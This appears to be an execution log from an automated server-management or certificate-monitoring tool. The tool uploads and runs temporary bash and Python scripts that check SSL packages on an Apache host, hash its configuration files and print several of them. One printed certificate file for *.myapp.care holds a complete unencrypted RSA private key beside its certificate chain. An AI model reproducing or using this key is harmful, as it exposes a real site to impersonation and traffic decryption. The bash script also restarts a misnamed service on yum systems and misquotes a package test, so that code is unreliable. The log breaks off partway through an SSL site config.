bin(/usr/local/nagios/libexec/check_ifoperstatus)= 38508203585e8cbbda9f3031a1940596
bin(/usr/local/nagios/libexec/check_ups)= 31f7059bae69435cdc18d740c9656e5b
bin(/usr/local/nagios/libexec/check_file_age)= 2e331a3782daf78c7b45d7003b6be288
bin(/usr/local/nagios/libexec/check_ssl_validity)= eeaee8f9f357138a49640d4f416530ce
bin(/usr/local/nagios/libexec/check_dhcp)= f768437073ff2024e714a0c3fc20ad2a
2025-12-23 15:10:27:
PUT: /tmp/pkp811593
#!/bin/bash
install=
if [ -f "/usr/bin/yum" ]; then
if [ ! -f "/usr/bin/openssl" ]; then
install="$install openssl"
fi
rpm -qi mod_ssl > /dev/null 2>&1
retVal=$?
if [ $retVal -ne 0 ]; then
install="$install mod_ssl"
fi
if [ ! -z $install ]; then
yum -y install $install
systemctl restart apache2
echo status=restarted
else
echo status=ok
fi
elif [ -f "/usr/bin/apt-get" ]; then
if [ ! -f "/usr/bin/openssl" ]; then
apt-get update
apt-get -y install openssl
fi
if [ ! -f "/etc/apache2/mods-enabled/ssl.conf" ] ; then
a2enmod -q ssl
systemctl restart apache2
fi
echo status=ok
fi
2025-12-23 15:10:27:
chmod 755 /tmp/pkp811593; /tmp/pkp811593; rm /tmp/pkp811593
2025-12-23 15:10:27:
status=ok
2025-12-23 15:10:27:
PUT: /tmp/pkp651827
#!/usr/bin/python3
import os, sys, glob, hashlib, re, gzip, tempfile, codecs
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def generate_hash_certificate(content, folder):
file = content.split("\n")
for v in file:
v = v.strip()
if v != '' and v[0] != '#':
match = re.search('sslcertificatefile\s+(.*?)$', v, flags=re.IGNORECASE)
if match is not None:
filename = match.group(1)
filename = normalize_path(folder, filename, True)
generate_hash(filename, folder)
def normalize_path(basepath, relativepath, isFile):
if relativepath[:1] == '/':
return relativepath
if isFile:
basename = os.path.basename(relativepath)
relativepath = os.path.dirname(relativepath)
else:
basename = ''
basepath = basepath.split('/')
relativepath = relativepath.split('/')
for element in relativepath:
if element == '..':
basepath.pop()
elif element != '.' and element != '':
basepath.append(element)
basepath = '/'.join(basepath)
if basename != '':
basepath += '/' + basename
return basepath
def generate_hash(filename, folder):
if os.path.islink(filename):
target = os.readlink(filename)
target = normalize_path(folder, target, True)
payload = 'link(' + filename + ')= ' + target + "\n"
gz.write(payload.encode('cp437'))
return
content = open(filename).read()
filehash = hashlib.md5()
filehash.update(content.encode('cp437'))
payload = 'MD5(' + filename + ')= ' + filehash.hexdigest() + "\n"
gz.write(payload.encode('cp437'))
lower_content = content.lower()
if lower_content.find('sslcertificatefile') > -1:
generate_hash_certificate(content, folder)
return
def scan_folder(folder):
if os.path.isdir(folder):
filelist = glob.glob(folder + '/*.conf')
for filename in filelist:
generate_hash(filename, folder)
return
try:
APACHE_ROOT = '/etc/apache2'
scan_folder(APACHE_ROOT)
scan_folder(APACHE_ROOT + '/conf.d')
scan_folder(APACHE_ROOT + '/conf.modules.d')
scan_folder(APACHE_ROOT + '/sites-available')
scan_folder(APACHE_ROOT + '/sites-enabled')
scan_folder(APACHE_ROOT + '/hosts.d')
finally:
gz.close()
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-12-23 15:10:27:
chmod 755 /tmp/pkp651827; /tmp/pkp651827; rm /tmp/pkp651827
2025-12-23 15:10:27:
2025-12-23 15:10:27:
PUT: /tmp/pkp447656
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/apache2/ports.conf')
show_file('/etc/apache2/apache2.conf')
show_file('/etc/ssl/certs/E3BE28443206AC49C3D55D1410B8DC85.crt')
show_file('/etc/apache2/sites-available/default-ssl.conf')
show_file('/etc/apache2/sites-available/000-default.conf')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-12-23 15:10:27:
chmod 755 /tmp/pkp447656; /tmp/pkp447656; rm /tmp/pkp447656
2025-12-23 15:10:27:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/ports.conf 274
# If you just change the port or add more ports here, you will likely also
# have to change the VirtualHost statement in
# /etc/apache2/sites-enabled/000-default.conf
Listen 80
<IfModule ssl_module>
Listen 443
</IfModule>
<IfModule mod_gnutls.c>
Listen 443
</IfModule>
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/apache2.conf 7178
# This is the main Apache server configuration file. It contains the
# configuration directives that give the server its instructions.
# See http://httpd.apache.org/docs/2.4/ for detailed information about
# the directives and /usr/share/doc/apache2/README.Debian about Debian specific
# hints.
#
#
# Summary of how the Apache 2 configuration works in Debian:
# The Apache 2 web server configuration in Debian is quite different to
# upstream's suggested way to configure the web server. This is because Debian's
# default Apache2 installation attempts to make adding and removing modules,
# virtual hosts, and extra configuration directives as flexible as possible, in
# order to make automating the changes and administering the server as easy as
# possible.
# It is split into several files forming the configuration hierarchy outlined
# below, all located in the /etc/apache2/ directory:
#
# /etc/apache2/
# |-- apache2.conf
# | `-- ports.conf
# |-- mods-enabled
# | |-- *.load
# | `-- *.conf
# |-- conf-enabled
# | `-- *.conf
# `-- sites-enabled
# `-- *.conf
#
#
# * apache2.conf is the main configuration file (this file). It puts the pieces
# together by including all remaining configuration files when starting up the
# web server.
#
# * ports.conf is always included from the main configuration file. It is
# supposed to determine listening ports for incoming connections which can be
# customized anytime.
#
# * Configuration files in the mods-enabled/, conf-enabled/ and sites-enabled/
# directories contain particular configuration snippets which manage modules,
# global configuration fragments, or virtual host configurations,
# respectively.
#
# They are activated by symlinking available configuration files from their
# respective *-available/ counterparts. These should be managed by using our
# helpers a2enmod/a2dismod, a2ensite/a2dissite and a2enconf/a2disconf. See
# their respective man pages for detailed information.
#
# * The binary is called apache2. Due to the use of environment variables, in
# the default configuration, apache2 needs to be started/stopped with
# /etc/init.d/apache2 or apache2ctl. Calling /usr/bin/apache2 directly will not
# work with the default configuration.
# Global configuration
#
#
# ServerRoot: The top of the directory tree under which the server's
# configuration, error, and log files are kept.
#
# NOTE! If you intend to place this on an NFS (or otherwise network)
# mounted filesystem then please read the Mutex documentation (available
# at <URL:http://httpd.apache.org/docs/2.4/mod/core.html#mutex>);
# you will save yourself a lot of trouble.
#
# Do NOT add a slash at the end of the directory path.
#
#ServerRoot "/etc/apache2"
#
# The accept serialization lock file MUST BE STORED ON A LOCAL DISK.
#
#Mutex file:${APACHE_LOCK_DIR} default
#
# The directory where shm and other runtime files will be stored.
#
DefaultRuntimeDir ${APACHE_RUN_DIR}
#
# PidFile: The file in which the server should record its process
# identification number when it starts.
# This needs to be set in /etc/apache2/envvars
#
PidFile ${APACHE_PID_FILE}
#
# Timeout: The number of seconds before receives and sends time out.
#
Timeout 300
#
# KeepAlive: Whether or not to allow persistent connections (more than
# one request per connection). Set to "Off" to deactivate.
#
KeepAlive On
#
# MaxKeepAliveRequests: The maximum number of requests to allow
# during a persistent connection. Set to 0 to allow an unlimited amount.
# We recommend you leave this number high, for maximum performance.
#
MaxKeepAliveRequests 100
#
# KeepAliveTimeout: Number of seconds to wait for the next request from the
# same client on the same connection.
#
KeepAliveTimeout 5
# These need to be set in /etc/apache2/envvars
User ${APACHE_RUN_USER}
Group ${APACHE_RUN_GROUP}
#
# HostnameLookups: Log the names of clients or just their IP addresses
# e.g., www.apache.org (on) or 204.62.129.132 (off).
# The default is off because it'd be overall better for the net if people
# had to knowingly turn this feature on, since enabling it means that
# each client request will result in AT LEAST one lookup request to the
# nameserver.
#
HostnameLookups Off
# ErrorLog: The location of the error log file.
# If you do not specify an ErrorLog directive within a <VirtualHost>
# container, error messages relating to that virtual host will be
# logged here. If you *do* define an error logfile for a <VirtualHost>
# container, that host's errors will be logged there and not here.
#
ErrorLog ${APACHE_LOG_DIR}/error.log
#
# LogLevel: Control the severity of messages logged to the error_log.
# Available values: trace8, ..., trace1, debug, info, notice, warn,
# error, crit, alert, emerg.
# It is also possible to configure the log level for particular modules, e.g.
# "LogLevel info ssl:warn"
#
LogLevel warn
# Include module configuration:
IncludeOptional mods-enabled/*.load
IncludeOptional mods-enabled/*.conf
# Include list of ports to listen on
Include ports.conf
# Sets the default security model of the Apache2 HTTPD server. It does
# not allow access to the root filesystem outside of /usr/share and /var/www.
# The former is used by web applications packaged in Debian,
# the latter may be used for local directories served by the web server. If
# your system is serving content from a sub-directory in /srv you must allow
# access here, or in any related virtual host.
<Directory />
Options FollowSymLinks
AllowOverride None
Require all denied
</Directory>
<Directory /usr/share>
AllowOverride None
Require all granted
</Directory>
<Directory /var/www/>
Options Indexes FollowSymLinks
AllowOverride None
Require all granted
</Directory>
#<Directory /srv/>
# Options Indexes FollowSymLinks
# AllowOverride None
# Require all granted
#</Directory>
# AccessFileName: The name of the file to look for in each directory
# for additional configuration directives. See also the AllowOverride
# directive.
#
AccessFileName .htaccess
#
# The following lines prevent .htaccess and .htpasswd files from being
# viewed by Web clients.
#
<FilesMatch "^\.ht">
Require all denied
</FilesMatch>
#
# The following directives define some format nicknames for use with
# a CustomLog directive.
#
# These deviate from the Common Log Format definitions in that they use %O
# (the actual bytes sent including headers) instead of %b (the size of the
# requested file), because the latter makes it impossible to detect partial
# requests.
#
# Note that the use of %{X-Forwarded-For}i instead of %h is not recommended.
# Use mod_remoteip instead.
#
LogFormat "%v:%p %h %l %u %t \"%r\" %>s %O \"%{Referer}i\" \"%{User-Agent}i\"" vhost_combined
LogFormat "%h %l %u %t \"%r\" %>s %O \"%{Referer}i\" \"%{User-Agent}i\"" combined
LogFormat "%h %l %u %t \"%r\" %>s %O" common
LogFormat "%{Referer}i -> %U" referer
LogFormat "%{User-agent}i" agent
# Include of directories ignores editors' and dpkg's backup files,
# see README.Debian for details.
# Include generic snippets of statements
IncludeOptional conf-enabled/*.conf
# Include the virtual host configurations:
IncludeOptional sites-enabled/*.conf
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/E3BE28443206AC49C3D55D1410B8DC85.crt 8605
a9:6b:a1:a5:89:0c:fe:54:70:0f:63:aa:30:d3:d7:fc
-----BEGIN CERTIFICATE-----
MIIGVzCCBL+gAwIBAgIRANUcRBuZQtgOQAZJA8NEgO8wDQYJKoZIhvcNAQELBQAw
ZjELMAkGA1UEBhMCQUUxGTAXBgNVBAoTEFNTTDJCVVkgRU1FQSBMTEMxPDA6BgNV
BAMTM1NTTDJCVVkgRU1FQSBSU0EgRG9tYWluIFZhbGlkYXRpb24gU2VjdXJlIFNl
cnZlciBDQTAeFw0yNTEyMDIwMDAwMDBaFw0yNzAxMDIyMzU5NTlaMBcxFTATBgNV
BAMMDCoubXlhcHAuY2FyZTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEB
ANHZFH2s4GOd5CLuJ8zQPwh+JryCAdwFQxWN3vMYLQdTBtqmH6zqwAmbFWGI6KPb
WMc80S6JK/VC+8rjmyKiXxGetZwtFy30r8eF/6ibO28sOyxjM5KTrEg3eOZ8CXG7
BmCW7U55rndetexTSjpOBSuJDLvLsD/nzxF++QNcZSo9XLa0zdk1G4srpmgrE+U5
WUUiraWOTfrTbfcbWxZvrT8VG2R5ZJfllmz1M17IWBTDU5mCf42SJM0F5EF3IMIy
wS0CmeO0qc51aAbmpAMq7siiis79+OSLvRQo+C/lcYsqEOtRQQ2xaUZ/VhRrSgm0
G9UrRE1L/67HJ2JV0VFZWMkCAwEAAaOCAs0wggLJMB8GA1UdIwQYMBaAFIFZSMm6
5QBv37f/UMWr793m5K6QMB0GA1UdDgQWBBRhGj7em/h5PNICJDriI5iCAegOwzAO
BgNVHQ8BAf8EBAMCBaAwDAYDVR0TAQH/BAIwADATBgNVHSUEDDAKBggrBgEFBQcD
ATATBgNVHSAEDDAKMAgGBmeBDAECATCBiAYIKwYBBQUHAQEEfDB6MFMGCCsGAQUF
BzAChkdodHRwOi8vY3J0LnNlY3RpZ28uY29tL1NTTDJCVVlFTUVBUlNBRG9tYWlu
VmFsaWRhdGlvblNlY3VyZVNlcnZlckNBLmNydDAjBggrBgEFBQcwAYYXaHR0cDov
L29jc3Auc2VjdGlnby5jb20wIwYDVR0RBBwwGoIMKi5teWFwcC5jYXJlggpteWFw
cC5jYXJlMIIBjQYKKwYBBAHWeQIEAgSCAX0EggF5AXcAdgBgTJqven93XwHUBvyS
DciZ6wscffjJUhv6+hd3O5eLyQAAAZrhTprVAAAEAwBHMEUCIDI0LLuWEgXZ7Dq8
LZht30VzJVqKz/0TXNZIi4IfCZYSAiEA0aYTjkNZbV7QRpCnWGYZWtkISDg0TfD/
dBQjIDiOCPYAfQCOykcLrN5q86IGsKR6hLdG/h/Gv5U+JeabTuQCSPPG6AAAAZrh
Tp3iAAgAAAUAAEYlBAQDAEYwRAIgZ9VgnBQonCVGAsuk22+i4MDVOufCa9GXP0Ah
4/Su1OoCIGYWX6c5RoJ4uWTKgQqLkaYSvIcFYekWboYvVcc2kZB0AH4AWW5sM4aU
sllyolbIoOjdkEp26Ag92oc7AQg4KBQ87lkAAAGa4U6ckQAIAAAFAAAAQ9EEAwBH
MEUCIQCjLppjUg79FVP5jJzrj3sCtexyNSlx0BioF6IotFj0kQIgfE9ujCun6ZLe
8oK9rMWBUTsArCmHyfT0r+Ktm+2T7HMwDQYJKoZIhvcNAQELBQADggGBAAMstxOP
96S7fclGjGNvIUjzVJV0Uia9kn/44ZWIBDoYAI/+4h42xNG9SEcZ1Y239rAtWr0s
82g9cdLDgpbWaWOT8n21oP7f1t9Sj2GyncJoQb4jPTgVzEJ8XcsUig+UroYimvoX
q1HLX8bKTAnQwjEENoBUQxAOd25ED21nR2x9IEV+CVMPZKhF0Kbscbz7zFrEVwvX
ssU6g7va78S8KblsFXQSfap8U8cuF0C5szy/p5S0jUCwDAbukQm3OYVIJZ+RTSxQ
qMZoXXxp3bk3WrVSUukZ906v1ATAH6l5O8EyJ2UkKZpLTnEWzI8wx9/iRoFbCv7x
PqhJsHuWNqejhvzJxR4oeyuWCi9DjqqDCnizytWG6Sm/mdWCJ2vIgX595tVkXZVh
Bp1dObJgxNU9bIz7npJkreR4LN+leLfguo52ROZnDilXlCzKLT4mDAL5JbBdlzn7
9guC40o9ivvM+LM7I0AoBu+7NcFcXZh3HDcNU2xAXR/WPqUZg1+QWkjS0w==
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQDR2RR9rOBjneQi
7ifM0D8Ifia8ggHcBUMVjd7zGC0HUwbaph+s6sAJmxVhiOij21jHPNEuiSv1QvvK
45siol8RnrWcLRct9K/Hhf+omztvLDssYzOSk6xIN3jmfAlxuwZglu1Oea53XrXs
U0o6TgUriQy7y7A/588RfvkDXGUqPVy2tM3ZNRuLK6ZoKxPlOVlFIq2ljk360233
G1sWb60/FRtkeWSX5ZZs9TNeyFgUw1OZgn+NkiTNBeRBdyDCMsEtApnjtKnOdWgG
5qQDKu7IoorO/fjki70UKPgv5XGLKhDrUUENsWlGf1YUa0oJtBvVK0RNS/+uxydi
VdFRWVjJAgMBAAECggEAB8FUBoj7CfNt2PSgN+uCSNgQqmrLkswG/KbvlGBSWbDx
0ebNyOAsFK7MjXw3zMZwc3yF5ohfPYMqNwdOVmtVxBrvb0QjVSlzzZXgKuUBv0wN
K8jGwSX/+fNC3pG6758Pz0YEox/QGM1BP+icF6eGfWNlOxN+Af6ZInZk0YD6pCLr
Pt423fjTijs/CCkOeCOEpTvdRALwTY0TVa7ryvQEFEauSprYpbYr9Cjygt/vRqZ9
zkKEXYGZ2Gu8IUP3RsRNe47VCcSmUx6lN0v04KKPNC3fsHo3hsrUftOdzwkAJeXu
uDu0RpvdvDK8TnI1nDtcxnH/AnGJzGbuz7Mex84gOQKBgQD16+OycXcc8uHmdmpf
LUJqF1ly6y3UfP3PH3i4wtQMHVqfqZwQTuPfLoEm5dZA5A8SMkorHpimBP7mVKLu
iinhotAXwfrBGD3y2Iri5NmjemtUMU4jdpImHtJ7jFxbtRRHXNR1akFr52MYBSJQ
Q7P8hL+3BW/WbughwsHkerr8VwKBgQDacrjTFplDZeSRtiE/RItARncnty8vqai2
BABWcuoo0Rs+E/QHERyZMNQpqfE6pJLOiTh5ovtBQ1C18eRqlYQXJs7gxgN3AV70
BkfdYgYN7DnDlGU17kEd3XA1wJ9eP/xaxI9YLvGJ8Vil8QA/6P1EikLPZqp1JZSx
oekRGb8f3wKBgBcS0+FZPgjMTR+3epGFiJa1rCHZKQqn05SMamJDfWvJkUgrvMXW
8RBup5WDuQ+LllJpv4W+MCpbi6MGy+a/teBCy21/OMzHPoC7ioRxXm41PT7ABYnU
RTAoci0/ZScBnW54qkJ9/rdmFWkaijans4p81hQRAYZID6WjRVfvn/2vAoGAQ+yM
H8bVHSnfqpcxO1T635+JiWXiXDWq6f3QhRDyUoLCr8jQhioB9HhEYDghdBScOXBd
iSTub1qZDBoM5j9bdT9x8F5h0W0xszsIuYOzUjzzsSbBWcWdpcWnEG+2nj3TH/4i
fE8Md9H9uIt5gmXV6qv7HjZUJlzrIViw+cpBrY0CgYEAl9wcr81vpdFfHWMca/Mu
o5uZTGT5KCPPPZdQH7xwFR/IyaqvRyHSZrTYeyw6C8a4wmpExWfl/MOAADpKpXJ0
9HNQKRHRhE4XMOFh+6Sx1xARPnuN+TRi3Kzm0eI0b4G+Ld6/s5mPJ+IQvuG7QaoJ
SAap5snFH9htADOn4RXibrI=
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIGSzCCBDOgAwIBAgIRAJvUQHUeRiPp62D8LGqVNMcwDQYJKoZIhvcNAQEMBQAw
XzELMAkGA1UEBhMCR0IxGDAWBgNVBAoTD1NlY3RpZ28gTGltaXRlZDE2MDQGA1UE
AxMtU2VjdGlnbyBQdWJsaWMgU2VydmVyIEF1dGhlbnRpY2F0aW9uIFJvb3QgUjQ2
MB4XDTI0MDczMTAwMDAwMFoXDTM0MDczMDIzNTk1OVowZjELMAkGA1UEBhMCQUUx
GTAXBgNVBAoTEFNTTDJCVVkgRU1FQSBMTEMxPDA6BgNVBAMTM1NTTDJCVVkgRU1F
QSBSU0EgRG9tYWluIFZhbGlkYXRpb24gU2VjdXJlIFNlcnZlciBDQTCCAaIwDQYJ
KoZIhvcNAQEBBQADggGPADCCAYoCggGBALsbge3dwtQ6DNyJOcsZ+ZNJw/wpFgoW
xtz5f07UlYcc5ob1YU5hUbwTdfCHl3p2NiIjYedo2jb0qmgD8x0fycJ4yNG0hQRy
ptIUSkzyCEfG5QbNLK8osOPq/b274qVYuh7FeGk08JO050i7yJdUyYT3FlrTr/BA
hy2ckfwu27j63NVWzmT+piryjtCa2md1Txpmn0P2JedZKdzO3nopLYrvQ7ulxh0k
kZFG0QJbTwIC2miuExxTsLfr88dy2OiArQ7mts4aJJTWGxKGP14qTQiv9La5GUwV
y1j4tSxMVJtrQyhdXrAqydo7Z/CP8Crw/5aUlK1DRu7kTQ36S2CJD1M65h7sYaZc
TuXUGcgmeQXBeVsUYPQB7jsrkgaZLEwliyrWF8YUJcYfYHzKqb5TVuMljDsKLweI
1dowbB6B21QpWHwf0n2kCJPR0R2daKClSR9cVi/WyyMBy7zBnMVW6XvfQqH6qrs3
7oGjZhS+XmzgIJIrW9+G46zhw02QiyclLQIDAQABo4IBeTCCAXUwHwYDVR0jBBgw
FoAUVnNYZJX5khqwEioEYnmhQBWIIUkwHQYDVR0OBBYEFIFZSMm65QBv37f/UMWr
793m5K6QMA4GA1UdDwEB/wQEAwIBhjASBgNVHRMBAf8ECDAGAQH/AgEAMB0GA1Ud
JQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjATBgNVHSAEDDAKMAgGBmeBDAECATBU
BgNVHR8ETTBLMEmgR6BFhkNodHRwOi8vY3JsLnNlY3RpZ28uY29tL1NlY3RpZ29Q
dWJsaWNTZXJ2ZXJBdXRoZW50aWNhdGlvblJvb3RSNDYuY3JsMIGEBggrBgEFBQcB
AQR4MHYwTwYIKwYBBQUHMAKGQ2h0dHA6Ly9jcnQuc2VjdGlnby5jb20vU2VjdGln
b1B1YmxpY1NlcnZlckF1dGhlbnRpY2F0aW9uUm9vdFI0Ni5wN2MwIwYIKwYBBQUH
MAGGF2h0dHA6Ly9vY3NwLnNlY3RpZ28uY29tMA0GCSqGSIb3DQEBDAUAA4ICAQAI
Lv4hSPNBcCiZPejKD1/xCJsZjLEHiQDEMCABEQ3wzmdKlCGxeKBhyi46URu0BKLY
SoDHT/qXa1QOxt8lUYn1LkGwiN2jWgUn8UK3VloGxmHgKQ9OuAH893TyQNktvZLr
35Ve9qREIBlBNtfNlwqBsm2Z3Vyzd1r+iZJioqG63dSx29Tm9YUcRPzkFXEsrWvp
3uTpSWWnSEo7FPEKk66RuCy1qDViOuAB5DOAWdM/dB5OL52UxisLf91EvZfZHOu2
G5KVA45DvXi7Jmgq/9zL9hM74ziNAudWjruOE/cPfPr2HbW5MTXcmcMctSXy93Df
RqIXoMVHj5ZrZRpxO6vvxNm6wxyizkqOg6WndgTFa13o0Tmva6fVzqVsdm06lNT1
dQA8tu7c+fdWw98ZIUSNeR9S0b/Rzjl0nr0mITVliDwJJhfsPjijLaCLCXBQqA1h
nYTWaGt1HYWEVK0L0SpZRqPcBa15QMHX3Y6wd3nNcRrU2OkgMHox0pKnuhbsVblM
wf5onD0m/CIPJ2pIEKn60Pv8oAXVk19hwHA8IhzSZi8u9atuNJC5vjDj2Uo9bUW1
UJj7MuKhTihTxYlaib8dh1Oq6k9S6AISeQJFgz/eEYPqyTm+irLaFMM/S6eg9M84
J/LdTC0VaJ+lSR+7k+6h3usVo1OXybt5lV9hC+Ymqg==
-----END CERTIFICATE-----
-----BEGIN CERTIFICATE-----
MIIGlTCCBH2gAwIBAgIRANJ/u8HeNZ5SFq1hSVhgmcQwDQYJKoZIhvcNAQEMBQAw
gYgxCzAJBgNVBAYTAlVTMRMwEQYDVQQIEwpOZXcgSmVyc2V5MRQwEgYDVQQHEwtK
ZXJzZXkgQ2l0eTEeMBwGA1UEChMVVGhlIFVTRVJUUlVTVCBOZXR3b3JrMS4wLAYD
VQQDEyVVU0VSVHJ1c3QgUlNBIENlcnRpZmljYXRpb24gQXV0aG9yaXR5MB4XDTIx
MDMyMjAwMDAwMFoXDTM4MDExODIzNTk1OVowXzELMAkGA1UEBhMCR0IxGDAWBgNV
BAoTD1NlY3RpZ28gTGltaXRlZDE2MDQGA1UEAxMtU2VjdGlnbyBQdWJsaWMgU2Vy
dmVyIEF1dGhlbnRpY2F0aW9uIFJvb3QgUjQ2MIICIjANBgkqhkiG9w0BAQEFAAOC
Ag8AMIICCgKCAgEAk77VNlJ12AEjoBxHQknuY7a3If3EldVIKyZ8FFMQ2nn9K7ct
pNQs+uoy3UnCub0PSD17WphUr55dMXRPB/xQId2kz2hPGxJjbSWZTCqZ80gwYfqB
fB6nCErcPiscHxhMcao1jK34bug7StnllALWiYQTqm3ITzPMUJY3kjPcX4jnn1TZ
SPCYQ9Zm/Z8XOEPFAVEL1+MjDxRdWxTnS77d9MjaAzfR1jmhIVEwg7Bt1zBOlluR
8HAkq79FgWRDDb0hOi886Z4NyyC1QifM2m+b7mQwkDnNk2WBITG1I1AzNyLjOO34
MTDMRf5i+dFdMnlCh99qzFYZQE3Oqrv5tXZJlPEn+JGlg+UGs2MOgNzgElWApjtm
tDmHLcjw0NEU6eQNTQ72XVdyxTscR1ad4tX7gWGMzE2AkDRbt9cUddzYBEifwMEo
iLTpHMqnsfFWt3tJTFnlIBWohAIp+jiUaZpJBo/NH3kUFxIMg3reH7GX7vmXeCik
yESS6X0mBaZYcpt5E9gRX67FOGI0aLKGMI74kGGeMmz1BzbNokxu7Io27fLmmRVE
cMN8vJw5wLTha/eDJSNX2RKA5UnwdQ/vjescm1QotCE8/HwK/+97a3X/ix2gGQWr
+vgrgULoOLq7+6r9PeDzyt9Ol5cp7fMYVumllqy9w5CYsuD5otSmR0N8bc8CAwEA
AaOCASAwggEcMB8GA1UdIwQYMBaAFFN5v1qqK0rPVIDh2JvAnfKyA2bLMB0GA1Ud
DgQWBBRWc1hklfmSGrASKgRieaFAFYghSTAOBgNVHQ8BAf8EBAMCAYYwDwYDVR0T
AQH/BAUwAwEB/zAdBgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwEQYDVR0g
BAowCDAGBgRVHSAAMFAGA1UdHwRJMEcwRaBDoEGGP2h0dHA6Ly9jcmwudXNlcnRy
dXN0LmNvbS9VU0VSVHJ1c3RSU0FDZXJ0aWZpY2F0aW9uQXV0aG9yaXR5LmNybDA1
BggrBgEFBQcBAQQpMCcwJQYIKwYBBQUHMAGGGWh0dHA6Ly9vY3NwLnVzZXJ0cnVz
dC5jb20wDQYJKoZIhvcNAQEMBQADggIBADpvBIlq7bMU0cFDT/9P9+BsgCkRgQs0
S6Bf7vJSlWMHwby0VGvxCS0hrbi0K2BINZbEbsVsgpQq04431yyoVn3Hldorgq24
RldRDOOipEZDTFB9wC9HYt1thHF00XeG2C8KC1plwoEzKAIhPvefI/C3cT0CfTXJ
uFjUbKIgSwjNjw6YHtLgoy/hd5+JLUlLco/gzFX/qWbT7tEquOMYpsNKWZj8TLqP
q6zMiG4Na6feEZte6YPXGrMWlTWN341vDedc+yxQqSug79HJUQcOZs7KyDWztmae
QxsPE49UV/8XwrfZtZaYyrs4FpD94Z4Q8dzXGL8+qEJjxgcza7W6PROaClubavd1
VKPm8+aCW77u7SxpR2TFGL6kPdxsKyFijpcunR5V79sUyROfNdzjrAcFWZXK8sbb
9FlnwuVG677JLv+ZVTX5AxLvW5OB4zt5uS+zB62wJ/Wv+jXGAttSAcJec4iFgCWH
Rvdi/jJoSzRLa3nEzx6pFIzclSCnh0u1xCeLcUBypSiPga8W+6PkuoyQq8U9qs9E
oxG5NvrvlyshwUS9yvcZRGw7Ljlx4jJH/BhIPR8kIBCQj1vna9TziZOrw1Of8hDU
bHKFG9Pm8Dp2vbjz/2JH39qvxshPKVllGfq+5klPm7yZRUYTiCMAbqwNdL/nsqF2
Rnnyp58XRStJ
-----END CERTIFICATE-----
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-available/default-ssl.conf 4573
<VirtualHost *:443>
ServerAdmin webmaster@localhost
DocumentRoot /var/www/html
# Available loglevels: trace8, ..., trace1, debug, info, notice, warn,
# error, crit, alert, emerg.
# It is also possible to configure the loglevel for particular
# modules, e.g.
#LogLevel info ssl:warn
ErrorLog ${APACHE_LOG_DIR}/error.log
CustomLog ${APACHE_LOG_DIR}/access.log combined
# For most configuration files from conf-available/, which are
# enabled or disabled at a global level, it is possible to
# include a line for only one particular virtual host. For example the
# following line enables the CGI configuration for this host only
# after it has been globally disabled with "a2disconf".
#Include conf-available/serve-cgi-bin.conf
# SSL Engine Switch:
# Enable/Disable SSL for this virtual host.
SSLEngine on
# A self-signed (snakeoil) certificate can be created by installing
# the ssl-cert package. See
# /usr/share/doc/apache2/README.Debian.gz for more info.
# If both key and certificate are stored in the same file, only the
# SSLCertificateFile directive is needed.
SSLCertificateFile /etc/ssl/certs/ssl-cert-snakeoil.pem
SSLCertificateKeyFile /etc/ssl/private/ssl-cert-snakeoil.key
# Server Certificate Chain:
# Point SSLCertificateChainFile at a file containing the
# concatenation of PEM encoded CA certificates which form the
# certificate chain for the server certificate. Alternatively
# the referenced file can be the same as SSLCertificateFile
# when the CA certificates are directly appended to the server
# certificate for convinience.
#SSLCertificateChainFile /etc/apache2/ssl.crt/server-ca.crt
# Certificate Authority (CA):
# Set the CA certificate verification path where to find CA
# certificates for client authentication or alternatively one
# huge file containing all of them (file must be PEM encoded)
# Note: Inside SSLCACertificatePath you need hash symlinks
# to point to the certificate files. Use the provided
# Makefile to update the hash symlinks after changes.
#SSLCACertificatePath /etc/ssl/certs/
#SSLCACertificateFile /etc/apache2/ssl.crt/ca-bundle.crt
# Certificate Revocation Lists (CRL):
# Set the CA revocation path where to find CA CRLs for client
# authentication or alternatively one huge file containing all
# of them (file must be PEM encoded)
# Note: Inside SSLCARevocationPath you need hash symlinks
# to point to the certificate files. Use the provided
# Makefile to update the hash symlinks after changes.
#SSLCARevocationPath /etc/apache2/ssl.crl/
#SSLCARevocationFile /etc/apache2/ssl.crl/ca-bundle.crl
# Client Authentication (Type):
# Client certificate verification type and depth. Types are
# none, optional, require and optional_no_ca. Depth is a
# number which specifies how deeply to verify the certificate
# issuer chain before deciding the certificate is not valid.
#SSLVerifyClient require
#SSLVerifyDepth 10
# SSL Engine Options:
# Set various options for the SSL engine.
# o FakeBasicAuth:
# Translate the client X.509 into a Basic Authorisation. This means that
# the standard Auth/DBMAuth methods can be used for access control. The
# user name is the `one line' version of the client's X.509 certificate.
# Note that no password is obtained from the user. Every entry in the user
# file needs this password: `xxj31ZMTZzkVA'.
# o ExportCertData:
# This exports two additional environment variables: SSL_CLIENT_CERT and
